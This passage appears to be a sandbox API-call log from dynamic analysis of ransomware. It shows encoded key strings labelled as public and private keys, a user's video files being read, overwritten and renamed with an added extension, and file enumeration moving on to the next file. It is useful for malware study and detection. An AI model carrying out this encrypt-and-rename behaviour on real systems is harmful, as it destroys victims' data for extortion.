KWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0087.090] GetCurrentThreadId () returned 0xa30 [0087.090] GetCurrentThreadId () returned 0xa30 [0087.090] GetCurrentThreadId () returned 0xa30 [0087.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0087.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f10fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0087.091] GetCurrentThreadId () returned 0xa30 [0087.091] GetCurrentThreadId () returned 0xa30 [0087.091] GetCurrentThreadId () returned 0xa30 [0087.091] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\2opleEzWe0B wcg.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\oxu8xlndfhlvryrz\\2opleezwe0b wcg.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0087.091] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0087.091] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0087.091] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x3230 [0087.092] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0087.092] ReadFile (in: hFile=0x104, lpBuffer=0x1f18dd0, nNumberOfBytesToRead=0x3230, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f18dd0*, lpNumberOfBytesRead=0x18f3d4*=0x3230, lpOverlapped=0x0) returned 1 [0087.093] CloseHandle (hObject=0x104) returned 1 [0087.094] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\2opleEzWe0B wcg.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\oxu8xlndfhlvryrz\\2opleezwe0b wcg.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0087.096] WriteFile (in: hFile=0x104, lpBuffer=0x1f1ce00*, nNumberOfBytesToWrite=0x3230, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f1ce00*, lpNumberOfBytesWritten=0x18f3e0*=0x3230, lpOverlapped=0x0) returned 1 [0087.098] CloseHandle (hObject=0x104) returned 1 [0087.134] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\2opleEzWe0B wcg.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\oxu8xlndfhlvryrz\\2opleezwe0b wcg.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\2opleEzWe0B wcg.mkv.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\oxu8xlndfhlvryrz\\2opleezwe0b wcg.mkv.zv7un")) returned 1 [0087.135] GetCurrentThreadId () returned 0xa30 [0087.135] GetCurrentThreadId () returned 0xa30 [0087.135] GetCurrentThreadId () returned 0xa30 [0087.135] GetCurrentThreadId () returned 0xa30 [0087.135] GetCurrentThreadId () returned 0xa30 [0087.135] GetCurrentThreadId () returned 0xa30 [0087.135] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4df11480, ftCreationTime.dwHighDateTime=0x1d5e24a, ftLastAccessTime.dwLowDateTime=0xbd0ab5b0, ftLastAccessTime.dwHighDateTime=0x1d5d9a3, ftLastWriteTime.dwLowDateTime=0xbd0ab5b0, ftLastWriteTime.dwHighDateTime=0x1d5d9a3, nFileSizeHigh=0x0, nFileSizeLow=0xb818, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="c9uD.avi", cAlternateFileName="")) returned 1 [0087.135] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0087.135] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0087.135] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\c9uD.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\oxu8xlndfhlvryrz\\c9ud.avi"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4df11480, ftCreationTime.dwHighDateTime=0x1d5e24a, ftLastAccessTime.dwLowDateTime=0xbd0ab5b0, ftLastAccessTime.dwHighDateTime=0x1d5d9a3, ftLastWriteTime.dwLowDateTime=0xbd0ab5b0, ftLastWriteTime.dwHighDateTime=0x1d5d9a3, nFileSizeHigh=0x0, nFileSizeLow=0xb818)) returned 1 [0087.135] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\c9uD.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\oxu8xlndfhlvryrz\\c9ud.avi")) returned 0x20 [0087.135] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\c9uD.avi", dwFileAttributes=0x80) returned 1 [0087.138] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0087.138] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0087.139] GetCurrentThreadId () returned 0xa30 [0087.139] GetCurrentThreadId () returned 0xa30 [0087.139] GetCurrentThreadId () returned 0xa30 [0087.140] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0087.140] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 